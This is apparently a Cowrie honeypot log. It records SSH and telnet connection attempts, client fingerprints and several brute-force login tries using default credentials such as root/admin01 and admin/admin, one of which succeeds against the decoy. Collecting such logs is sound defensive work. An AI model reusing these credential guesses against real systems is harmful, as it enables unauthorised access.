{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:76:71:07:d1:9b:7b:55:de:38:34:42:c4:a6:7f:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmlXNf3N6vMnNnWpxi7P53jO03bVKyMOTHn7Nv5cqFTChyadRWFk8YBz1n9czW3cxtaFZ27uDlihzVqS0/tDWhD8EvkpF4c6gHLxDeON8GhSKQJH4hf6rGIZpU7ewNEZBdsGMoIY6xaBWjy3SMxh1yljepNFa03d/gH8exPkhs3w0GCgnoXtGFciFrXUU5Pfct6pLnV/EzTJ7zxrwgyIsa1YmoGJjT8AFda+PzyyZWfeQc8GwyIWh/EO5u66Ak7Krr/EAplf8XrQMWpeHLVV23ITfhtpsWfPLOlaG8xQIpIxp8LIJJD9s2bE1Htmz8QbOqI9P8NKogGKLoVft2ZfjGWWdxjTWC1fRLXAn2d0rgyR9XfwbPCurRea+AhePYhxHB7YG8juHVh333MLCq6pgvNHCVmix9VGV//cLxLM3jZh4akl1/vgdbSlnpegwBbZzXkduZJOWf+BrJrjEAnFkb2s2uyJ74XevDeRH7yLMsxxONs75NeyAvhxYRFm6Tu+ArZfl+SpCbbXaW6cttArwIoPcGF2ORwlqfvc8lIPAN8q8AciMBwjODdOsXZYKWR4LqJD4H42nKGiH+TsnkH+Hw7PfD+PHsZf7AKf+/vHHMYVGCgQo6sScXNQS3mdeMuTcaT0J+X26K2nmSnp06nkLbd7Hh+O9TVONIeCMOZPNQrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:76:71:07:d1:9b:7b:55:de:38:34:42:c4:a6:7f:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.587033Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:76:71:07:d1:9b:7b:55:de:38:34:42:c4:a6:7f:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmlXNf3N6vMnNnWpxi7P53jO03bVKyMOTHn7Nv5cqFTChyadRWFk8YBz1n9czW3cxtaFZ27uDlihzVqS0/tDWhD8EvkpF4c6gHLxDeON8GhSKQJH4hf6rGIZpU7ewNEZBdsGMoIY6xaBWjy3SMxh1yljepNFa03d/gH8exPkhs3w0GCgnoXtGFciFrXUU5Pfct6pLnV/EzTJ7zxrwgyIsa1YmoGJjT8AFda+PzyyZWfeQc8GwyIWh/EO5u66Ak7Krr/EAplf8XrQMWpeHLVV23ITfhtpsWfPLOlaG8xQIpIxp8LIJJD9s2bE1Htmz8QbOqI9P8NKogGKLoVft2ZfjGWWdxjTWC1fRLXAn2d0rgyR9XfwbPCurRea+AhePYhxHB7YG8juHVh333MLCq6pgvNHCVmix9VGV//cLxLM3jZh4akl1/vgdbSlnpegwBbZzXkduZJOWf+BrJrjEAnFkb2s2uyJ74XevDeRH7yLMsxxONs75NeyAvhxYRFm6Tu+ArZfl+SpCbbXaW6cttArwIoPcGF2ORwlqfvc8lIPAN8q8AciMBwjODdOsXZYKWR4LqJD4H42nKGiH+TsnkH+Hw7PfD+PHsZf7AKf+/vHHMYVGCgQo6sScXNQS3mdeMuTcaT0J+X26K2nmSnp06nkLbd7Hh+O9TVONIeCMOZPNQrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.589978Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:30:66:71:bf:02:f9:45:34:e8:5a:5e:04:70:ad:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyIT3mvV3S4VaLHJh4kn6aAEXBymqoGXzvu/qqyQup4z/PebgFE7NTKvOwwO9jZS+LFz2GG+xUgvBN+ycbBDgyeKSF9wFvCS5LfZkDwOzOPPwRarxF7SjjXEtdNL+aoulcN0ifqIF9EuFVAQJXHYBUMmKRmDg59eZe8z5pkOKqcUVHpgzRgLRMEvgIgeftmTNML9R3kTMRMb6xfW9ErBD1Nyia/XxdcOgKgJs+1oBOWrbWHETyMpcsVFvcQLnrT2QU3NRY1ICbPdrk6BrV9sOmu9tMrnNuqw0Jngc0e744yrKqixrOWtBZTX7EO8jAPekXqulq9tsOGgpR6jqrBbApQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:30:66:71:bf:02:f9:45:34:e8:5a:5e:04:70:ad:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.669717Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:30:66:71:bf:02:f9:45:34:e8:5a:5e:04:70:ad:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyIT3mvV3S4VaLHJh4kn6aAEXBymqoGXzvu/qqyQup4z/PebgFE7NTKvOwwO9jZS+LFz2GG+xUgvBN+ycbBDgyeKSF9wFvCS5LfZkDwOzOPPwRarxF7SjjXEtdNL+aoulcN0ifqIF9EuFVAQJXHYBUMmKRmDg59eZe8z5pkOKqcUVHpgzRgLRMEvgIgeftmTNML9R3kTMRMb6xfW9ErBD1Nyia/XxdcOgKgJs+1oBOWrbWHETyMpcsVFvcQLnrT2QU3NRY1ICbPdrk6BrV9sOmu9tMrnNuqw0Jngc0e744yrKqixrOWtBZTX7EO8jAPekXqulq9tsOGgpR6jqrBbApQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.671972Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:10.752035Z","src_ip":"212.192.240.10","session":"9975ecff929b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39396,"dst_ip":"10.17.0.5","dst_port":22,"session":"baac1c28a7b7","protocol":"ssh","message":"New connection: 27.71.230.31:39396 (10.17.0.5:22) [session: baac1c28a7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:11.736044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:11.783287Z","src_ip":"27.71.230.31","session":"baac1c28a7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:12.034119Z","src_ip":"27.71.230.31","session":"baac1c28a7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin01","message":"login attempt [root/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:14.531998Z","src_ip":"27.71.230.31","session":"baac1c28a7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:17.371341Z","src_ip":"27.71.230.31","session":"baac1c28a7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.453000783920288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:09:39.002126Z","src_ip":"132.148.22.172","session":"10fe327586d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53628,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f285459f472","protocol":"telnet","message":"New connection: 172.81.62.90:53628 (159.203.135.109:23) [session: 2f285459f472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:10:12.609226Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52668,"dst_ip":"159.203.135.109","dst_port":22,"session":"d63cb3297408","protocol":"ssh","message":"New connection: 27.71.230.31:52668 (159.203.135.109:22) [session: d63cb3297408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:10:33.298778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:10:33.441670Z","src_ip":"27.71.230.31","session":"d63cb3297408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:10:33.913027Z","src_ip":"27.71.230.31","session":"d63cb3297408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.86051058769226,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:10:46.469599Z","src_ip":"172.81.62.90","session":"2f285459f472","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin01","message":"login attempt [root/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:10:47.445807Z","src_ip":"27.71.230.31","session":"d63cb3297408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:10:48.896892Z","src_ip":"27.71.230.31","session":"d63cb3297408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.236.161.139","src_port":53044,"dst_ip":"159.203.135.109","dst_port":23,"session":"665372bfca59","protocol":"telnet","message":"New connection: 47.236.161.139:53044 (159.203.135.109:23) [session: 665372bfca59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:04.592415Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:05.071563Z","src_ip":"47.236.161.139","session":"665372bfca59","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:05.306063Z","src_ip":"47.236.161.139","session":"665372bfca59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59486,"dst_ip":"10.17.0.5","dst_port":22,"session":"f944a6a52cbb","protocol":"ssh","message":"New connection: 80.94.92.184:59486 (10.17.0.5:22) [session: f944a6a52cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:09.085194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:09.419120Z","src_ip":"80.94.92.184","session":"f944a6a52cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:09.422928Z","src_ip":"80.94.92.184","session":"f944a6a52cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:10.615604Z","src_ip":"80.94.92.184","session":"f944a6a52cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:12.077846Z","src_ip":"80.94.92.184","session":"f944a6a52cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55446,"dst_ip":"159.203.135.109","dst_port":22,"session":"27575864f3d8","protocol":"ssh","message":"New connection: 103.15.222.183:55446 (159.203.135.109:22) [session: 27575864f3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:51.363564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:51.367166Z","src_ip":"103.15.222.183","session":"27575864f3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:51.616849Z","src_ip":"103.15.222.183","session":"27575864f3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"x12345","message":"login attempt [root/x12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:52.378175Z","src_ip":"103.15.222.183","session":"27575864f3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:53.631371Z","src_ip":"103.15.222.183","session":"27575864f3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":44012,"dst_ip":"10.17.0.5","dst_port":22,"session":"06aeaebaecdd","protocol":"ssh","message":"New connection: 176.32.39.21:44012 (10.17.0.5:22) [session: 06aeaebaecdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:56.090775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:56.094437Z","src_ip":"176.32.39.21","session":"06aeaebaecdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:56.217805Z","src_ip":"176.32.39.21","session":"06aeaebaecdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123asd123","message":"login attempt [root/qwe123asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:56.590687Z","src_ip":"176.32.39.21","session":"06aeaebaecdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:11:57.717469Z","src_ip":"176.32.39.21","session":"06aeaebaecdd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:05.321018Z","src_ip":"47.236.161.139","session":"665372bfca59","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:05.359032Z","src_ip":"47.236.161.139","session":"665372bfca59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":49254,"dst_ip":"159.203.135.109","dst_port":22,"session":"7baeb58b01c3","protocol":"ssh","message":"New connection: 62.133.62.83:49254 (159.203.135.109:22) [session: 7baeb58b01c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:36.012129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:36.016007Z","src_ip":"62.133.62.83","session":"7baeb58b01c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:36.094462Z","src_ip":"62.133.62.83","session":"7baeb58b01c3","protocol":"ssh"}
